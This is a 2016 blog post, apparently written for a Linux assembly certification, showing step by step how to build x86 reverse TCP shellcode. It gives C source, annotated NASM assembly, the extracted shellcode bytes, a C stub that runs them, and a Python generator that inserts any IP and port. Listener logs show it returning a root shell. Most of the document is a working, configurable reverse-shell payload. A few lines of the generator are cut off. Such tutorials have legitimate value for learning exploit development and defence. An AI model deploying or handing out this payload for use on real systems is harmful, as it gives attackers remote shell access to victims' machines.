README

Brett Lischalk

December 21, 2016

Contents

1 Assignment 2

This blog post has been created for completing the requirements for the SecurityTube Linux Assembly Expert certification: `http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert`
Student ID: SLAE-824

1.1 Requirements

- Create a Shell Reverse TCP shellcode
  - Reverse connects to configured IP and PORT
  - Execs Shell on successful connection
- IP and Port should be easily configurable

1.2 Strategy

My approach to building a tcp reverse shell shellcode will be to:

- Build off of our TCP bind shell developed in Assignment 1 of the SLAE
- Modify the C program to call `connect` instead of `bind`, `listen`, and `accept`
- Analyze the C program system calls to see how the program interacts with the kernel to accomplish its tasks
- Lookup the system calls and see what arguments and structures they take
- Attempt to write some assembly that calls the same system calls in the same order with the same arguments as the C program does
- Debug issues as of course there will be :)

1.3 The Source Code

The source code and tools referenced in this article can be found here:

1.4 The C progam

```
#include <stdio.h>
#include <netinet/in.h>
#define PORT 4444

int main(int argc, char **argv) {
  // Create a socket
  int lsock = socket(AF_INET, SOCK_STREAM, 0);

  // Setup servr side config struct
  // We configure:
  // The family:IPv4
  // The interface: 127.0.0.1 (Loopback)
  // The port: port#
  struct sockaddr_in config;
  config.sin_family = AF_INET;
  config.sin_addr.s_addr = inet_addr("127.0.0.1");
  // The htons() function converts the
  // unsigned short integer hostshort from host byte
  // order to network byte order.
  config.sin_port = htons(PORT);
  // Connect to listening server
  int csock = connect(lsock, (struct sockaddr *) &config, sizeof(config));

  // Redirect stdin, stdout, and stderror
  dup2(lsock, 0);
  dup2(lsock, 1);
  dup2(lsock, 2);

  // Execute a shell
  execve("/bin/sh", NULL, NULL);
};
```

1.5 Analysis of the C progam

Let's compile our program with `gcc reversetcpshell.c -o reversetcpshell`. Next, lets start Netcat listening for a connection using `nc -nlvp 4444`. Now that we have Netcat waiting for a connection we can go ahead and execute our reverse tcp shell with `./reversetcpshell`. If we look over at our Netcat terminal we will see that we have a received a connection and been presented with a shell!

```
root@blahblah:~/shared/SLAE/slae/exercise2# nc -nlvp 4444
listening on [any] 4444 ...
connect to [127.0.0.1] from (UNKNOWN) [127.0.0.1] 37260
ls
README.org
reversetcpshell
reversetcpshell.c
```

Once again, if we use `strace ./reversetcpshell` when starting the reverse shell we can see the system calls being made:

```
socket(PF_INET, SOCK_STREAM, IPPROTO_IP) = 3
dup2(3, 0)                              = 0
dup2(3, 1)                              = 1
dup2(3, 2)                              = 2
connect(3, {sa_family=AF_INET, sin_port=htons(4444), sin_addr=inet_addr("127.0.0.1")},
execve("/bin/sh", [0], [/* 0 vars */])  = 0
```

Interestingly, our c program is shorter and the amount of system calls that we need seems to have decreased. It seems as though our reverse tcp shellcode could be as basic as using `socket, dup2, connect, and execve`. Essentially we do not need to worry about `bind, listen, or accept` and just need to learn about 1 system call we haven't used before; `connect`.

Ok, what can we learn about connect?

```
int connect(int socket, const struct sockaddr *address, socklen_t address_len);
```

If we remember the function signature of bind:

```
int bind(int sockfd, const struct sockaddr *addr, socklen_t addrlen);
```

We see that they are exactly the same! The only difference is that when we define the sockaddr structure we will want to specify the IP of the machine that we want to connect back to instead of the 0.0.0.0 IP we specified in our bindshell.

Cool! Lets write some assembly…

1.6 Assembly: Take 1

If we remember our research on creating our bindshell, the system call for `SYS_CONNECT` was 3.

```
#define SYS_CONNECT 3   /* sys_connect(2)   */
```

So in theory, if we modify our assembly to call 3 instead of 2 e.g `connect` instead of `bind`, remove unnecessary system calls, and make sure that we redirect stdin,stdout,and stderror after making our connection, we should be in good shape. Lets give that a shot:

```
global _start

section .text
  _start:
    ;; Create a socket
    ;; int socketcall(int call, unsigned long *args);
    ;; int socket(int domain, int type, int protocol);
    ;; #define SYS_SOCKET 1   /* sys_socket(2)    */
    ;; Use socketcall to call down to socket
    xor eax, eax
```

```
mov al, 0x66 ; socketcall syscall
xor ebx, ebx
mov bl, 0x1 ; sys_socket syscall number

;; Put the socket() args on the stack
xor ecx, ecx
push ecx ; Protocol INADDR_ANY Accept on any interface 0x00000000
push ebx ; SOCK_STREAM is the type of socket 1

push 0x2 ; Domain af_inet sets protocol family to ip protocol 2

mov ecx, esp ; save pointer to args for the socket() call
int 0x80 ; call sys_socket

; save the returned listening socket file descriptor
xor edi, edi
mov edi, eax

;; Connect on the socket
xor eax, eax
mov al, 0x66 ; socketcall syscall

;; Start building the sockaddr_in structure
;; Since the structure is laid out as:
;; sin_family, sin_port, sin_addr
;; we need to push the values onto the stack
;; in reverse order
;; int connect(int sockfd, const struct sockaddr *addr, socklen_t addrlen);
;; sin_addr= inet_addr("127.0.0.1) = 0x0100007f
;; loop back addr is 127.0.0.1
;; this translates to 0x0100007f
;; we don’t want to have null bytes 0x00
;; so we add 0x01010101 to our address
;; move it into a register
;; and then subtract
xor ecx, ecx
mov ecx, 0x02010180
sub ecx, 0x01010101
push ecx ; inet_addr("127.0.0.1) = 0x0100007f
```

```
  ;; 4444 is 0x115c in little endian. Network byte order is
  ;; Big endian so we swap the byte ordering
  push word 0x5c11 ; sin_port=4444 (network byte order)
  ;; bl is sys_connect syscallnumber 0x3
  ;; prior to the next instruction
  ;; subtract one to bring it to 0x2
  ;; which is what AF_INET represents
  inc ebx
  push word bx     ; sin_family=AF_INET (0x2)
  mov ecx, esp     ; move pointer to sockaddr_in structure


  ;; In the initial code we use sizeof to derive the addrlen
  ;; If we print the results of that we get 0x10 which is 16 bytes
  push 0x10 ;addrlen=16
  push ecx  ;sockaddr_in struct pointer
  push edi  ;sockfd
  mov ecx, esp ;save pointer to connect() args

  ;; Bring ebx back to sys_call # 3 for connect()
  inc ebx
  int 0x80 ; call sys_connect

  ;; call dup2 for stdin, stdout, and stderr in a loop
  xor ecx, ecx
  mov cl, 0x2 ;loop counter
  xor eax, eax
dup2:
  mov al, 0x3f ;dup2
  int 0x80
  dec ecx
  jns dup2

  ;; Call execve
  xor eax, eax
  mov al, 0xb ;execve
  xor ebx, ebx
  push ebx
  push 0x68732f2f ;"sh//"
  push 0x6e69622f ;"nib/"
```

```
    mov ebx, esp
    xor ecx, ecx
    xor edx, edx
    int 0x80
```

When we compile the above shellcode using the compile.sh script below:

```
#!/bin/bash
echo '[+] Assembling with Nasm ... '
nasm -f elf32 -o $1.o $1.nasm

echo '[+] Linking ...'
ld -o $1 $1.o

echo '[+] Done!'
```

`root@blahblah:~/shared/SLAE/slae/exercise2# ./compile.sh reverseshellasm`
Setup a netcat listener with `nc -nlvp 4444` and run the shellcode using:
`root@blahblah:~/shared/SLAE/slae/exercise1# ./reverseshellasm`
We receive:

```
#!/bin/bash
root@blahblah:~/shared/SLAE/slae/exercise2# nc -nlvp 4444
listening on [any] 4444 ...
connect to [127.0.0.1] from (UNKNOWN) [127.0.0.1] 37306
id
uid=0(root) gid=0(root) groups=0(root)
```

Excellent! Lets dump the bytes:

```
root@funos:~/shared/SLAE/slae/exercise2# objdump -d ./reverseshellasm|grep '[0-9a-f]:'
grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|\
tr '\t' ' ' |sed 's/ $//g'|sed 's/ /\\x/g'|\
paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'
"\x31\xc0\xb0\x66\x31\xdb\xb3\x01\x31\xc9\x51\x53\x6a\x02\x89\xe1"
"\xcd\x80\x31\xff\x89\xc7\x31\xc0\xb0\x66\x31\xc9\xb9\x80\x01\x01"
"\x02\x81\xe9\x01\x01\x01\x01\x51\x66\x68\x11\x5c\x43\x66\x53\x89"
"\xe1\x6a\x10\x51\x57\x89\xe1\x43\xcd\x80\x31\xc9\xb1\x02\x31\xc0"
"\xb0\x3f\xcd\x80\x49\x79\xf9\x31\xc0\xb0\x0b\x31\xdb\x53\x68\x2f"
"\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xcd\x80"
```

and try it in our shellcode.c stub program.

```
#include<stdio.h>
#include<string.h>

unsigned char code[] = \
"\x31\xc0\xb0\x66\x31\xdb\xb3\x01\x31\xc9\x51\x53\x6a\x02\x89\xe1"
"\xcd\x80\x31\xff\x89\xc7\x31\xc0\xb0\x66\x31\xc9\xb9\x80\x01\x01"
"\x02\x81\xe9\x01\x01\x01\x01\x51\x66\x68\x11\x5c\x43\x66\x53\x89"
"\xe1\x6a\x10\x51\x57\x89\xe1\x43\xcd\x80\x31\xc9\xb1\x02\x31\xc0"
"\xb0\x3f\xcd\x80\x49\x79\xf9\x31\xc0\xb0\x0b\x31\xdb\x53\x68\x2f"
"\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xcd\x80";


main()
{

  printf("Shellcode Length:  %d\n", strlen(code));

  int (*ret)() = (int(*)())code;

  ret();

}
```

```
gcc shellcode.c -o shellcode
```

It still works at a length of 96 bytes:

```
root@blahblah:~/shared/SLAE/slae/exercise2# nc -nlvp 4444
listening on [any] 4444 ...
connect to [127.0.0.1] from (UNKNOWN) [127.0.0.1] 37310
id
uid=0(root) gid=0(root) groups=0(root)
```

So once again, we can always go back and optimize length but the last thing we need to do is write another wrapper program which will allow us to set the IP and PORT easily. Lets use our previous python script as a starting point. We need to remember though that whatever IP address a user enters that we want to increment each octet so the math in the assembly works out:

#+NAME reverse-shell.py

```
#!/usr/bin/python

import sys,socket

if len(sys.argv) != 3:
  print "Fail!"

ipbts           = bytearray(socket.inet_aton(sys.argv[1]))
incremented     = [b+1 for b in ipbts]
ip              = "".join(["\\x" + format(b, 'x') for b in incremented])
port_number     = int(sys.argv[2])
bts             = [port_number >> i & 0xff for i in (24,16,8,0)]
filtered        = [b for b in bts if b > 0]
formatted       = ["\\x" + format(b, 'x') for b in filtered]
port            = "".join(formatted)

shellcode ="\\x31\\xc0\\xb0\\x66\\x31\\xdb\\xb3\\x01\\x31\\xc9\\x51\\x53\\x6a\\x02\\x89
shellcode+="\\xcd\\x80\\x31\\xff\\x89\\xc7\\x31\\xc0\\xb0\\x66\\x31\\xc9\\xb9"
print("Ip is: ")
print(ip)
shellcode+= ip # "\\x80\\x01\\x01\\x02"
shellcode+="\\x81\\xe9\\x01\\x01\\x01\\x01\\x51\\x66\\x68"
print("Port is: ")
print(port)
shellcode+= port
shellcode+="\\x43\\x66\\x53\\x89"
shellcode+="\\xe1\\x6a\\x10\\x51\\x57\\x89\\xe1\\x43\\xcd\\x80\\x31\\xc9\\xb1\\x02\\x31
shellcode+="\\xb0\\x3f\\xcd\\x80\\x49\\x79\\xf9\\x31\\xc0\\xb0\\x0b\\x31\\xdb\\x53\\x68
shellcode+="\\x2f\\x73\\x68\\x68\\x2f\\x62\\x69\\x6e\\x89\\xe3\\x31\\xc9\\x31\\xd2\\xc

print(shellcode)
```

Pop it in our shellcode.c program again:
#+NAME shellcode.c

```
#include<stdio.h>
#include<string.h>

unsigned char code[] = \
"\x31\xc0\xb0\x66\x31\xdb\xb3\x01\x31\xc9\x51\x53\x6a\x02\x89\xe1"
"\xcd\x80\x31\xff\x89\xc7\x31\xc0\xb0\x66\x31\xc9\xb9\x80\x1\x1\x2"
```

```
"\x81\xe9\x01\x01\x01\x01\x51\x66\x68\x11\x5c\x43\x66\x53\x89\xe1"
"\x6a\x10\x51\x57\x89\xe1\x43\xcd\x80\x31\xc9\xb1\x02\x31\xc0\xb0"
"\x3f\xcd\x80\x49\x79\xf9\x31\xc0\xb0\x0b\x31\xdb\x53\x68\x2f\x2f"
"\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xcd\x80";

main()
{

  printf("Shellcode Length:  %d\n", strlen(code));

  int (*ret)() = (int(*)())code;

  ret();

}
```

Setup our netcat listener and:

```
root@funos:~/shared/SLAE/slae/exercise2# nc -nlvp 4444
listening on [any] 4444 ...
connect to [127.0.0.1] from (UNKNOWN) [127.0.0.1] 37311
id
uid=0(root) gid=0(root) groups=0(root)
```

Presto! We have a reverse shell connection!